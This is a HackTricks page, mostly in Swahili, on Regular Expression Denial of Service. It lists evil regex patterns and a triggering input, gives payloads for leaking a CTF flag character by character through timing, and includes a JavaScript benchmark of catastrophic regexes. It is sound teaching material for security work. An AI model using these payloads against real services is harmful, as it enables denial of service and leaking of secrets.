Regular expression Denial of Service - ReDoS

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Regular Expression Denial of Service (ReDoS)

Regular Expression Denial of Service (ReDoS) hutokea wakati mtu anatumia udhaifu katika jinsi regular expressions (njia ya kutafuta na kulinganisha mifumo katika maandiko) inavyofanya kazi. Wakati mwingine, wakati regular expressions zinatumika, zinaweza kuwa polepole sana, hasa ikiwa kipande cha maandiko wanachofanya kazi nacho kinakuwa kikubwa. Polepole hii inaweza kuwa mbaya kiasi kwamba inakua haraka sana hata kwa ongezeko dogo la ukubwa wa maandiko. Washambuliaji wanaweza kutumia tatizo hili kufanya programu inayotumia regular expressions isifanye kazi vizuri kwa muda mrefu.

The Problematic Regex Naïve Algorithm

Check the details in https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

Evil Regexes

Mifumo ya regular expression mbaya ni ile inayoweza kushikilia kwenye ingizo lililotengenezwa na kusababisha DoS. Mifumo ya regex mbaya kwa kawaida ina kundi lenye kurudiwa na kurudiwa au mbadala na kuingiliana ndani ya kundi lililorejelewa. Baadhi ya mifano ya mifumo mbaya ni:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} kwa x > 10

Zote hizo ni dhaifu kwa ingizo aaaaaaaaaaaaaaaaaaaaaaaa!.

ReDoS Payloads

String Exfiltration via ReDoS

Katika CTF (au bug bounty) labda unafanya udhibiti wa Regex ambayo taarifa nyeti (bendera) inalinganishwa nayo. Kisha, inaweza kuwa na manufaa kufanya ukurasa usimame (timeout au muda mrefu wa usindikaji) ikiwa Regex ililingana na sio ikiwa haikulingana. Kwa njia hii utaweza kuondoa string karakteri kwa karakteri:

  • Katika hiki posti unaweza kupata sheria hii ya ReDoS: ^(?=<flag>)((.*)*)*salt$
  • Mfano: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • Katika hiki andiko unaweza kupata hii:<flag>(((((((.*)*)*)*)*)*)*)!
  • Katika hiki andiko alitumia: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlling Input and Regex

Ifuatayo ni mifano ya ReDoS ambapo unafanya udhibiti wa ingizo na regex:

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Vifaa

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks